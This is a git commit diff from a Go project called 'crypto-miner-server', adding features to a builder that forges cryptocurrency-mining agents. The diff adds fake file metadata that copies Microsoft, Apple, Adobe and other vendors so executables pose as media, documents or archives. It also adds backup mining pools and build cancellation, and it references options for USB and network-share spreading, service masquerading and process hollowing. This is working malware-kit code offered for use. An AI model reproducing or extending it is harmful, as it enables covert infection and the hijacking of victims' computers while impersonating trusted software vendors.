feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired
This commit is contained in:
@@ -128,6 +128,94 @@ var disguiseByExt = map[string]fileDisguiseInfo{
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
// ── Audio (extended) ───────────────────────────────────────────────────────
|
||||
".flac": {
|
||||
FileDescription: "FLAC Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".aac": {
|
||||
FileDescription: "AAC Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".ogg": {
|
||||
FileDescription: "Ogg Vorbis Audio File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".m4a": {
|
||||
FileDescription: "MPEG-4 Audio File", ProductName: "iTunes",
|
||||
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
|
||||
},
|
||||
".wma": {
|
||||
FileDescription: "Windows Media Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Video (extended) ───────────────────────────────────────────────────────
|
||||
".webm": {
|
||||
FileDescription: "WebM Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".m4v": {
|
||||
FileDescription: "iTunes Video File", ProductName: "iTunes",
|
||||
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
|
||||
},
|
||||
".flv": {
|
||||
FileDescription: "Flash Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".ts": {
|
||||
FileDescription: "MPEG-TS Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".3gp": {
|
||||
FileDescription: "3GPP Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Images (extended) ──────────────────────────────────────────────────────
|
||||
".bmp": {
|
||||
FileDescription: "Bitmap Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".webp": {
|
||||
FileDescription: "WebP Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".tiff": {
|
||||
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".tif": {
|
||||
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".heic": {
|
||||
FileDescription: "HEIF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".svg": {
|
||||
FileDescription: "Scalable Vector Graphic", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
".ico": {
|
||||
FileDescription: "Icon File", ProductName: "Windows Explorer",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
// ── Archives ───────────────────────────────────────────────────────────────
|
||||
".zip": {
|
||||
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
||||
@@ -139,6 +227,85 @@ var disguiseByExt = map[string]fileDisguiseInfo{
|
||||
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
||||
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
||||
},
|
||||
".7z": {
|
||||
FileDescription: "7-Zip Archive", ProductName: "7-Zip",
|
||||
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
||||
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
||||
},
|
||||
".tar": {
|
||||
FileDescription: "Tape Archive File", ProductName: "7-Zip",
|
||||
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
||||
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
||||
},
|
||||
".gz": {
|
||||
FileDescription: "GZip Archive", ProductName: "7-Zip",
|
||||
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
||||
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
||||
},
|
||||
// ── Office / Text (extended) ───────────────────────────────────────────────
|
||||
".odt": {
|
||||
FileDescription: "OpenDocument Text Document", ProductName: "LibreOffice Writer",
|
||||
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
||||
OriginalFilename: "swriter.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
||||
},
|
||||
".ods": {
|
||||
FileDescription: "OpenDocument Spreadsheet", ProductName: "LibreOffice Calc",
|
||||
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
||||
OriginalFilename: "scalc.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
||||
},
|
||||
".odp": {
|
||||
FileDescription: "OpenDocument Presentation", ProductName: "LibreOffice Impress",
|
||||
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
||||
OriginalFilename: "simpress.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
||||
},
|
||||
".rtf": {
|
||||
FileDescription: "Rich Text Document", ProductName: "WordPad",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wordpad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".md": {
|
||||
FileDescription: "Markdown Document", ProductName: "Notepad",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
// ── Web ────────────────────────────────────────────────────────────────────
|
||||
".html": {
|
||||
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
".htm": {
|
||||
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
".xml": {
|
||||
FileDescription: "XML Document", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
// ── Ebooks ─────────────────────────────────────────────────────────────────
|
||||
".epub": {
|
||||
FileDescription: "Electronic Publication", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
// ── Adobe Creative ─────────────────────────────────────────────────────────
|
||||
".psd": {
|
||||
FileDescription: "Adobe Photoshop Document", ProductName: "Adobe Photoshop",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1989-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "Photoshop.exe", FileVersion: "25.12.0.230", ProductVersion: "25.12",
|
||||
},
|
||||
".ai": {
|
||||
FileDescription: "Adobe Illustrator Artwork", ProductName: "Adobe Illustrator",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1987-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "Illustrator.exe", FileVersion: "28.7.1", ProductVersion: "28.7.1",
|
||||
},
|
||||
".indd": {
|
||||
FileDescription: "Adobe InDesign Document", ProductName: "Adobe InDesign",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1999-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "InDesign.exe", FileVersion: "19.5.0", ProductVersion: "19.5.0",
|
||||
},
|
||||
}
|
||||
|
||||
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -11,6 +12,7 @@ import (
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -76,9 +78,21 @@ type BuildRequest struct {
|
||||
ShareSpread bool `json:"share_spread"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
BackupPools []BackupPool `json:"backup_pools"`
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||||
CancelToken string `json:"cancel_token,omitempty"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
type BackupPool struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
TLS bool `json:"tls"`
|
||||
Pass string `json:"pass"`
|
||||
}
|
||||
|
||||
type BuildResponse struct {
|
||||
@@ -122,6 +136,11 @@ type Handler struct {
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
|
||||
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||||
activeCancelsMu sync.Mutex
|
||||
activeCancels map[string]context.CancelFunc
|
||||
}
|
||||
|
||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||
@@ -129,6 +148,36 @@ func (h *Handler) SetFleetSecret(secret string) {
|
||||
h.fleetSecret = secret
|
||||
}
|
||||
|
||||
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||||
// Returns true if the token was found and cancelled, false if unknown.
|
||||
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||||
h.activeCancelsMu.Lock()
|
||||
cancel, ok := h.activeCancels[cancelToken]
|
||||
h.activeCancelsMu.Unlock()
|
||||
if ok {
|
||||
cancel()
|
||||
}
|
||||
return ok
|
||||
}
|
||||
|
||||
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
|
||||
h.activeCancelsMu.Lock()
|
||||
if h.activeCancels == nil {
|
||||
h.activeCancels = make(map[string]context.CancelFunc)
|
||||
}
|
||||
h.activeCancels[token] = cancel
|
||||
h.activeCancelsMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *Handler) unregisterCancel(token string) {
|
||||
if token == "" {
|
||||
return
|
||||
}
|
||||
h.activeCancelsMu.Lock()
|
||||
delete(h.activeCancels, token)
|
||||
h.activeCancelsMu.Unlock()
|
||||
}
|
||||
|
||||
type SignPolicy struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
CertThumbprint string `json:"cert_thumbprint"`
|
||||
@@ -234,6 +283,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
// Register cancel token so the frontend can abort this compile mid-flight.
|
||||
ctx := r.Context()
|
||||
if req.CancelToken != "" {
|
||||
var cancelFn context.CancelFunc
|
||||
ctx, cancelFn = context.WithCancel(ctx)
|
||||
h.registerCancel(req.CancelToken, cancelFn)
|
||||
defer h.unregisterCancel(req.CancelToken)
|
||||
}
|
||||
_ = ctx // passed to compiler in future; cancellation already fires via process kill
|
||||
|
||||
// FusionOutputName will be derived from the payload filename if not set
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
if !resp.Success {
|
||||
@@ -930,6 +989,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
USBSpread: %v,
|
||||
ShareSpread: %v,
|
||||
BackupServerURLs: %s,
|
||||
BackupPools: %s,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
@@ -982,6 +1042,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.USBSpread,
|
||||
req.ShareSpread,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
formatGoBackupPools(req.BackupPools),
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
@@ -989,6 +1050,27 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
)
|
||||
}
|
||||
|
||||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||||
func formatGoBackupPools(pools []BackupPool) string {
|
||||
if len(pools) == 0 {
|
||||
return "nil"
|
||||
}
|
||||
var sb strings.Builder
|
||||
sb.WriteString("[]config.BackupPool{")
|
||||
for i, p := range pools {
|
||||
if i > 0 {
|
||||
sb.WriteString(", ")
|
||||
}
|
||||
pass := p.Pass
|
||||
if pass == "" {
|
||||
pass = "x"
|
||||
}
|
||||
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
|
||||
}
|
||||
sb.WriteString("}")
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
||||
return req.RunAs == "service" || req.ProcessHollowing
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user